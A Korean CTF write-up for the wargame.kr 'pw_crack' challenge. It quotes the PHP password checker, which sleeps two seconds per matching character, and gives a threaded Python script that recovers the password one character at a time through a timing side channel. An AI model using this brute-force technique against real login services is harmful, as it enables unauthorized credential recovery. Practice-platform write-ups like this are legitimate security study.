[Wargame.kr] pw_crack 풀이 (514p)
Wargame/wargame.kr

[Wargame.kr] pw_crack 풀이 (514p)

 

pw_crack view-source code
<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
    exit();
 }
 include("../lib.php"); // include for auth_code function.

 //ini_set("display_errors", true);

 $password=auth_code("pw crack");
 $dest = $_SERVER['REMOTE_ADDR'];
 $port = 31337;
 $data="";

 $sock = @fsockopen($dest,$port,$errno,$errstr,10);
 if(!$sock){die("IP : $dest<br />port : $port<br /><h2>Connection Error</h2><br /><br />Please, open your port!");}
 fwrite($sock,"password : ");
 for($i=0;$i<40;$i++){
  $c=fgetc($sock);
  if(ord($c)==0 || ord($c) == 10){ break; }
  $data.=$c;
 }
 fclose($sock);
 
 for($i=0;$i<40;$i++){
  sleep(2);
  if($data[$i]!=$password[$i]){
   die("wrong password!");
   break;
  }
 }
 echo "<script> alert('congratulation!! that`s auth key!!'); </script>";

간단해 보이면서도, 굉장히 오래 걸릴 수밖에 없는 문제다.

소켓을 열어, 패스워드를 검사하는데, 패스워드의 길이가 40자이다.

또한, 패스워드 한글자를 검사하는데 2+@초가 걸리기 때문에, 마지막 40번째 글자를 검사할 때는 무려 80초가 걸린다.

그리고, wargame.kr에서 request를 받아옴과 동시에, 소켓을 열고 데이터를 보내야하기 때문에 쓰레드를 사용했다.

 

풀이에 사용된 코드는 다음과 같다.

파일 함수를 이용하여, 패스워드를 저장하고 다시 읽어오는 방식으로 풀었다.

from socket import *
from select import *
from threading import Thread
import requests
import time

HOST = '192.168.0.2'
PORT = 31337
BUFSIZE = 1024
ADDR = (HOST, PORT)
url = 'http://wargame.kr:8080/pw_crack/check.php'

def open_socket(payload):
    serverSocket = socket(AF_INET, SOCK_STREAM)
    serverSocket.bind(ADDR)
    serverSocket.listen(1)
    
    clientInfo, addr_info = serverSocket.accept()
    clientInfo.send(payload.encode())

    serverSocket.close()

def get_request():
    html = requests.get(url)
    print(html.text)

if __name__ == '__main__':
    for w in range(0,45):
        for i in range(48,103):
            if (i >= 58 and i <= 96):
                continue

            f = open('X:\\key.txt', 'r')
            payload = f.readline()
            payload += str(chr(i))
            length = len(payload) * 2
            f.close()
            start = time.time()

            th1 = Thread(target=get_request, args=())
            th2 = Thread(target=open_socket, args=(payload,))
            th1.start()
            th2.start()
            th1.join()
            th2.join()

            estimated = int(time.time() - start)

            if(estimated == length + 2):
                f = open('X:\\key.txt', 'a')
                f.write(str(chr(i)))
                f.close()

                print('Answer -> ' + payload)
                print(str(estimated))
                break
            else:
                print(str(estimated))
                print(payload + ' is passed')  

돌리고 롤토체스 몇 판 하고, 한숨 자고 오니까 파이썬이 알아서 풀어줬다.